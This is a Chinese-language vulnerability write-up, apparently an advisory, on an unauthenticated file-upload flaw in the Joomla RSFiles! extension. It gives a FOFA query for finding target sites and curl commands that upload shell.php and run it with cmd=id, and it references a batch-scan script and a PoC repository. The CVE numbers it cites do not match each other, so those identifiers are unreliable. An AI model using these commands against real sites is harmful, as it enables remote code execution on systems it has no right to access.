漏洞描述

Joomla 组件 RSFiles! (com_rsfiles) 是一款流行的文件管理和下载扩展,广泛用于 Joomla 网站的文件管理与分发。在 1.17.12 之前的版本中,存在严重的未授权任意文件上传漏洞。

根本原因是 RSFiles! 的上传逻辑采用了“分离控制器”设计:上传流程被拆分为“预检查” 和 “写入” 两个独立的控制器任务。预检查任务(权限验证+扩展名白名单)受保护,但写入任务(实际保存文件)完全无保护。攻击者可直接调用写入任务,完全绕过权限校验和文件类型白名单,直接上传任意文件(包括 PHP webshell),实现未授权远程代码执行。</

影响版本

组件:RSFiles! (com_rsfiles)

版本:< 1.17.12

类型:Joomla 扩展组件

CWE:CWE-434(任意文件上传)

修复版本

RSFiles! ≥ 1.17.12

FOFA 语法

body="com_rsfiles" || body="rsfiles" || body="rsjoomla.com"

漏洞分析

RSFiles! 的上传逻辑存在严重的“分离控制器”设计缺陷:

上传流程被拆分为两个独立的控制器任务:

Task 1: checkupload() — 预检查(受保护)
  • 验证用户上传权限
  • 校验文件扩展名是否在白名单内

Task 2: upload() — 写入(无保护!)
  • 无权限检查
  • 无文件类型校验
  • 直接调用 JFile::upload() 保存文件
  • 文件保存到 /downloads/ 目录(默认无 .htaccess 保护,直接可访问)

攻击者可直接 POST 请求调用 task=rsfiles.upload,完全跳过预检查,直接上传任意文件(包括 PHP webshell)到网站根目录下的 /downloads/ 目录,该目录默认无 .htaccess 保护,上传即可直接访问执行。

漏洞复现

攻击流程

Step 1. 构造恶意文件上传 POST 请求
        直接调用 task=rsfiles.upload 接口
        绕过 checkupload() 预检查

Step 2. 上传 PHP webshell
        文件名: shell.php
        内容: 

PoC 使用

# 手动测试
curl -sk -X POST "https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload" \
  -F "file=@shell.php" \
  -H "User-Agent: Mozilla/5.0..."

# 访问上传后的文件
curl -sk "https://target.com/downloads/shell.php?cmd=id"

# 批量扫描脚本已保存至本地
# /root/.hermes/cache/documents/doc_f36be921849c_cve-2026-61511_batch.py

PoC 仓库

https://github.com/shinthink/cve-2026-57827

参考链接

NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-57827